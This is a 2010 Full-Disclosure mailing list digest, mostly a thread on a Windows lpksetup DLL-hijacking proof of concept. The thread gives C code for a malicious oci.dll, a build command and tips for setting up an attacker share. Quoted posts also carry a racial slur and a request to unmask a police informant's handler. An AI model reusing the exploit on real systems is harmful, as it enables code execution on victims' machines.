Re: [Full-disclosure] African ISP SekuritY
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Wow. What an effective way to victimize several hundred innocent users to stroke your own ego. We should all do this... publish password lists every time we come across another XSS bug. Please, go google Responsible Disclosure... On 10-10-25 4:00 AM, Louis McCarty wrote: Hej! Another day another pwn. You can see how they run things on negrolands. ISP sekuritY = unskilled noob team + broken webfrontends (made in india) + missing server certificates + high dsl prices. Millionaire douchebags get 4mbit fiber and the rest is fckd :( Dear sirs if you see your own name on the list maybe it's time for switching ISP (in case you have any option) :D - -- Kenneth Voort FDF1 6265 EBAB C05C FD06 1AED 158E 14D6 37CD E87F | pgp encrypted email preferred - -- /** * This message leverages collective synergy to drive outside of the box * thinking and formulate key objectives into a win-win game plan with a * quality-driven approach that focuses on empowering key players to drive-up * their core competencies and increase expectations with an all-around * initiative to drive down the bottom-line. */ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkzFTiAACgkQFY4U1jfN6H+V9QCeK6vXGicVowUr/0E1vg6CEGe2 8e8An3a2Rh6n0P/ny7aSG4oFdDCI3tBd =nSn5 -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] African ISP SekuritY
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Le 25/10/2010 10:00, Louis McCarty a écrit : Hej! Another day another pwn. You can see how they run things on negrolands. I stopped reading there. - -- Thomas. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkzFY70ACgkQBV7eXqefhqiR5wCfRPBsbtFTOEnm9D6VN02hImLR Qi0An1EK4O6SGF6aKfItVFfqnDSVBIYu =VYmt -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] African ISP SekuritY
-Original Message- From: Duboucher Thomas tho...@duboucher.eu Sent: Monday, October 25, 2010 07:02 AM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] African ISP SekuritY -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Le 25/10/2010 10:00, Louis McCarty a écrit : Hej! Another day another pwn. You can see how they run things on negrolands. I stopped reading there. - -- Thomas. -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.10 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkzFY70ACgkQBV7eXqefhqiR5wCfRPBsbtFTOEnm9D6VN02hImLR Qi0An1EK4O6SGF6aKfItVFfqnDSVBIYu =VYmt -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [USN-959-2] PAM vulnerability
=== Ubuntu Security Notice USN-959-2 October 25, 2010 pam vulnerability CVE-2010-0832 === A security issue affects the following Ubuntu releases: Ubuntu 10.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 10.10: libpam-modules 1.1.1-4ubuntu2 In general, a standard system update will make all the necessary changes. Details follow: USN-959-1 fixed vulnerabilities in PAM. This update provides the corresponding updates for Ubuntu 10.10. Original advisory details: Denis Excoffier discovered that the PAM MOTD module in Ubuntu did not correctly handle path permissions when creating user file stamps. A local attacker could exploit this to gain root privilieges. Updated packages for Ubuntu 10.10: Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.1.1-4ubuntu2.diff.gz Size/MD5: 256311 70ceb0ea3e0aea771cb0ee4d20159302 http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.1.1-4ubuntu2.dsc Size/MD5: 1636 8b0a9a5576629cdc16a07fb6221555d1 http://security.ubuntu.com/ubuntu/pool/main/p/pam/pam_1.1.1.orig.tar.gz Size/MD5: 1799415 b4838d787dd9b046a4d6992e18b6ffac Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-doc_1.1.1-4ubuntu2_all.deb Size/MD5: 284250 ee51d0d5117e8005bd96d365160ab8fc http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-runtime_1.1.1-4ubuntu2_all.deb Size/MD5:85274 65b297ca5b321eef1b76c05b7e15da01 amd64 architecture (Athlon64, Opteron, EM64T Xeon): http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-cracklib_1.1.1-4ubuntu2_amd64.deb Size/MD5:56638 2058636a296f011ee82fb1085bcf98a0 http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-modules_1.1.1-4ubuntu2_amd64.deb Size/MD5: 347314 d5f3e4cf08b35bf1c4772d0e17df9787 http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g-dev_1.1.1-4ubuntu2_amd64.deb Size/MD5: 158630 5b55c802a6e55ad7de7dca34853cadf5 http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g_1.1.1-4ubuntu2_amd64.deb Size/MD5:94660 a3f147932dc1c9dc7c0fff522bc7f7cd i386 architecture (x86 compatible Intel/AMD): http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-cracklib_1.1.1-4ubuntu2_i386.deb Size/MD5:56300 6ebc733abee6253e70f7862b8c8deead http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam-modules_1.1.1-4ubuntu2_i386.deb Size/MD5: 323066 799c517fe7928f1afbf2b440c87e23c3 http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g-dev_1.1.1-4ubuntu2_i386.deb Size/MD5: 152140 5fef5190dfed92ca9c30e11723d7dd09 http://security.ubuntu.com/ubuntu/pool/main/p/pam/libpam0g_1.1.1-4ubuntu2_i386.deb Size/MD5:91718 498d37554ea0e6327aa91c6a7fb7e2ca powerpc architecture (Apple Macintosh G3/G4/G5): http://ports.ubuntu.com/pool/main/p/pam/libpam-cracklib_1.1.1-4ubuntu2_powerpc.deb Size/MD5:56864 c4a0ce26fa71db14be87e8bd72a0b993 http://ports.ubuntu.com/pool/main/p/pam/libpam-modules_1.1.1-4ubuntu2_powerpc.deb Size/MD5: 343926 d00027f03fa3506e2c7433da8bf60e3a http://ports.ubuntu.com/pool/main/p/pam/libpam0g-dev_1.1.1-4ubuntu2_powerpc.deb Size/MD5: 157816 654f538026e76baea9b670d323eb9680 http://ports.ubuntu.com/pool/main/p/pam/libpam0g_1.1.1-4ubuntu2_powerpc.deb Size/MD5:95076 7056a91e001172a2e143b138c7bf60d2 signature.asc Description: Digital signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Windows Vista/7 lpksetup dll hijack
/*
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
Vulnerability
Extension: .mlc
Author: Tyler Borland (tborla...@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise should be vulnerable as well)
Effect:Remote Code Execution
lpksetup is the language pack installer that is included by default with
Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file
through something like an open SMB or WebDav share, the oci.dll file will be
grabbed and ran in the context of the vulnerable application.
This is a LoadLibrary() load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (Windows\System32)
3. 16-bit System directory (Windows\System)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so if
a full path is not supplied when calling the dll or the search path has not
been cleared before the call, we will hit our fifth search path and load the
library from the remote filesystem.
Interestingly enough, while lpksetup is blocked for execution by UAC under a
normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows
complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm
*/
#include windows.h
int main()
{
WinExec(calc, SW_NORMAL); // the typical non-lethal PoC
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
main();
return 0;
}
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
If you are considering this Remote Code Execution then why not just have the
victim run an .exe from the complete anonymous share you've managed to get
people connected to and save all the trouble? This would still run as the
user context, and if the hijacked DLL tried to do something a normal user
couldn't do then it too would be blocked or fail anyway.
t
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugt...@securityfocus.com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
/*
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
Vulnerability
Extension: .mlc
Author: Tyler Borland (tborla...@gmail.commailto:tborla...@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7
Enterprise should be vulnerable as well)
Effect:Remote Code Execution
lpksetup is the language pack installer that is included by default with
Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file
through something like an open SMB or WebDav share, the oci.dll file will be
grabbed and ran in the context of the vulnerable application.
This is a LoadLibrary() load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (Windows\System32)
3. 16-bit System directory (Windows\System)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so if a
full path is not supplied when calling the dll or the search path has not been
cleared before the call, we will hit our fifth search path and load the library
from the remote filesystem.
Interestingly enough, while lpksetup is blocked for execution by UAC under a
normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows complete
anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm
*/
#include windows.h
int main()
{
WinExec(calc, SW_NORMAL); // the typical non-lethal PoC
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
main();
return 0;
}
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
Hi Thor,
Thanks to Microsoft's defense in depth, double-clicking an .exe from a remote
share
pops up a security warning. In contrast, double-clicking a data file that opens
a
vulnerable application (which downloads and executes a .dll from the same share)
doesn't trigger such security warning. You might argue that users don't care
about
such warnings and you might be right.
On the upside (or downside, depending on one's role in this game), our
researchers
have already found an attack vector for binary planting (a superset of dll
hijacking)
that works entirely through a web browser and only requires two single clicks
anywhere on the page - which is what we all do when we browse web pages. So if
luring
a user to a remote share and hoping he would double-click a file seems
unrealistic,
this might change your mind. And it's important that security leaders - like
yourself
- understand this so that the followers won't be lured into a false sense of
security
by considering remote attacks merely hypothetical. I'm afraid every single
instance
of this bug we've seen so far is remotely exploitable in a practical enough way
that
even the highly-aware and cautious people like the members of this list can
easily be
hacked.
Cheers,
Mitja
Mitja Kolsek
CEOCTO
ACROS, d.o.o.
Makedonska ulica 113
SI - 2000 Maribor, Slovenia
tel: +386 2 3000 280
fax: +386 2 3000 282
web: http://www.acrossecurity.com
ACROS Security: Finding Your Digital Vulnerabilities Before Others Do
If you are considering this Remote Code Execution then why
not just have the victim run an .exe from the complete
anonymous share you've managed to get people connected to
and save all the trouble? This would still run as the user
context, and if the hijacked DLL tried to do something a
normal user couldn't do then it too would be blocked or fail anyway.
t
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf
Of Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugt...@securityfocus.com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
/*
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL
Hijacking Vulnerability
Extension: .mlc
Author: Tyler Borland (tborla...@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista
Ultimate/Enterpries and Windows 7 Enterprise should be
vulnerable as well)
Effect:Remote Code Execution
lpksetup is the language pack installer that is included by
default with Windows Vista/7 Ultimate or Enterprise editions.
By opening a .mlc file through something like an open SMB or
WebDav share, the oci.dll file will be grabbed and ran in the
context of the vulnerable application.
This is a LoadLibrary() load path bug. The load library
search order is:
1. The directory from which the application loaded
2. 32-bit System directory (Windows\System32)
3. 16-bit System directory (Windows\System)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable As
OracleOciLib is not used on target system, oci.dll does not
exist, so if a full path is not supplied when calling the dll
or the search path has not been cleared before the call, we
will hit our fifth search path and load the library from the
remote filesystem.
Interestingly enough, while lpksetup is blocked for execution
by UAC under a normal user, the injected library (payload)
will still execute.
Exploiters make sure your system's security policy,
secpol.msc, allows complete anonymous share access for
connecting users.
Outlook links seem to be the current exploit toyland, other
vectors: http://www.binaryplanting.com/attackVectors.htm
http://www.binaryplanting.com/attackVectors.htm
*/
#include windows.h
int main()
{
WinExec(calc, SW_NORMAL); // the typical non-lethal PoC
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,
LPVOID lpvReserved) {
main();
return 0;
}
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
The language file installer can be completely legitimate. The actual
exploit is the process running the library from the remote location. This
will execute the library/code in the context of the running application
under the current user and will not present a warning dialog box depending
on your chosen method if attack. I have made sure that this does also not
care if UAC allows the application to run or not.
I have provided a link to ACROS's look into the different attack vectors to
give you more clues as to how this can be exploited without any hassling
alerts to the victim/end user. IE6 and Outlook seem to be the most
prevalent ways of doing this. However, there are certainly other more
interesting vectors out there.
Have you tested out the actual exploit method in a lab environment yet to
see just what can be done as I have?
On Oct 25, 2010 5:34pm, Thor (Hammer of God) t...@hammerofgod.com wrote:
If you are considering this “Remote Code Execution” then why not just
have the victim run an .exe from the “complete anonymous share” you've
managed to get
people connected to and save all the trouble? This would still run as the
user context, and if the hijacked DLL tried to do something a normal user
couldn't do then it too would be blocked or fail anyway.
t
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk]
On Behalf Of Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugt...@securityfocus.com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
/*
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
Vulnerability
Extension: .mlc
Author: Tyler Borland (tborla...@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise should be vulnerable as well)
Effect: Remote Code Execution
lpksetup is the language pack installer that is included by default with
Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file
through something like an open SMB or WebDav share, the oci.dll file will
be grabbed and ran in the context of
the vulnerable application.
This is a LoadLibrary() load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (Windows\System32)
3. 16-bit System directory (Windows\System)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist, so
if a full path is not supplied when calling the dll or the search path
has not been cleared before the call, we will hit our fifth search path
and load the library from the remote filesystem.
Interestingly enough, while lpksetup is blocked for execution by UAC
under a normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows
complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm
*/
#include
int main()
{
WinExec(calc, SW_NORMAL); // the typical non-lethal PoC
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID
lpvReserved)
{
main();
return 0;
}
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
Also, just to further clarify, the 'completely anonymous share' means all
connecting users get treated as anonymous and given rights to connect to
the same rights to the share.
As Windows Vista/7 connect out using their own credentials to connect to
the share, this is a must unless you are only targeting a specific user or
group of users.
On Oct 25, 2010 6:39pm, tborla...@gmail.com wrote:
The language file installer can be completely legitimate. The actual
exploit is the process running the library from the remote location. This
will execute the library/code in the context of the running application
under the current user and will not present a warning dialog box
depending on your chosen method if attack. I have made sure that this
does also not care if UAC allows the application to run or not.
I have provided a link to ACROS's look into the different attack vectors
to give you more clues as to how this can be exploited without any
hassling alerts to the victim/end user. IE6 and Outlook seem to be the
most prevalent ways of doing this. However, there are certainly other
more interesting vectors out there.
Have you tested out the actual exploit method in a lab environment yet to
see just what can be done as I have?
On Oct 25, 2010 5:34pm, Thor (Hammer of God) t...@hammerofgod.com
wrote:
If you are considering this “Remote Code Execution” then why not just
have the victim run an .exe from the “complete anonymous share” you've
managed to get
people connected to and save all the trouble? This would still run as
the user context, and if the hijacked DLL tried to do something a normal
user couldn't do then it too would be blocked or fail anyway.
t
From: full-disclosure-boun...@lists.grok.org.uk
[mailto:full-disclosure-boun...@lists.grok.org.uk]
On Behalf Of Tyler Borland
Sent: Monday, October 25, 2010 1:55 PM
To: Full-Disclosure mailing list
Cc: bugt...@securityfocus.com
Subject: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
/*
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
Vulnerability
Extension: .mlc
Author: Tyler Borland (tborla...@gmail.com)
Date: 10/20/2010
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
Windows 7 Enterprise should be vulnerable as well)
Effect: Remote Code Execution
lpksetup is the language pack installer that is included by default
with Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc
file through something like an open SMB or WebDav share, the oci.dll file
will be grabbed and ran in the context of
the vulnerable application.
This is a LoadLibrary() load path bug. The load library search order is:
1. The directory from which the application loaded
2. 32-bit System directory (Windows\System32)
3. 16-bit System directory (Windows\System)
4. Windows directory (Windows)
5. Current working directory
6. Directories in the PATH environment variable
As OracleOciLib is not used on target system, oci.dll does not exist,
so if a full path is not supplied when calling the dll or the search path
has not been cleared before the call, we will hit our fifth search path
and load the library from the remote filesystem.
Interestingly enough, while lpksetup is blocked for execution by UAC
under a normal user, the injected library (payload) will still execute.
Exploiters make sure your system's security policy, secpol.msc, allows
complete anonymous share access for connecting users.
Outlook links seem to be the current exploit toyland, other vectors:
http://www.binaryplanting.com/attackVectors.htm
*/
#include
int main()
{
WinExec(calc, SW_NORMAL); // the typical non-lethal PoC
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID
lpvReserved)
{
main();
return 0;
}
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Windows Vista/7 lpksetup dll hijack
I've tested loading a library from an application that requires admin privileges from a normal user and it will prompt for UAC if needed or fail. I understand where the jacking takes place, but you are making it seem like you can bypass user permissions when you can't. At least that's what I got from your OP. IOW, even if the original app you run doesn't require UAC, if the jacked .dll requires escalated permissions, which would be just about anything interesting you could do, then it will fail (or prompt depending on how you write it). The main point is that you've got to get people to not only connect up to your remote share, but you've got to get them to execute the file, etc. So I'm just wondering what makes this anything more than any other put a malicious link here to make the user execute it or email attachment business, particularly when you say Remote Code Execution. t Have you tested out the actual exploit method in a lab environment yet to see just what can be done as I have? On Oct 25, 2010 5:34pm, Thor (Hammer of God) t...@hammerofgod.com wrote: If you are considering this Remote Code Execution then why not just have the victim run an .exe from the complete anonymous share you've managed to get people connected to and save all the trouble? This would still run as the user context, and if the hijacked DLL tried to do something a normal user couldn't do then it too would be blocked or fail anyway. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] OT: Apple Store Removes Applications with Private API Calls
For all the testers Netstumbler, Wifi-Where and the like are now gone. I'm not sure if the no private API calls rule was applied equally on all Apple Store applications, or just those from certain class(es). http://www.netstumbler.org/f18/apple-pulls-all-wifi-scanning-apps-app-store-23568/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Identifying handler and agency of police informant?
Hi, For the past few years I have been having my friends turned into informants against me by an unknown investigator/group of investigators. Being able to identify their handler and agency would make life simpler. They've been being heavy handed, stealthy, lost friends have been threatened and told not to talk to me, I'm satan, I'm a horrible person, etc. If you have any brainstorming ideas. I already know the legally safe option is distance obviously, but any other creative advice is welcomed. Must be lawful, low-risk, virtuous. Deception or a ruse to ascertain this information is ok, after all they're spying. Current informant is contacting me via internet. tks ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Identifying handler and agency of police informant?
Tell them your mom says that they have to stop it. -- ciao JT ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
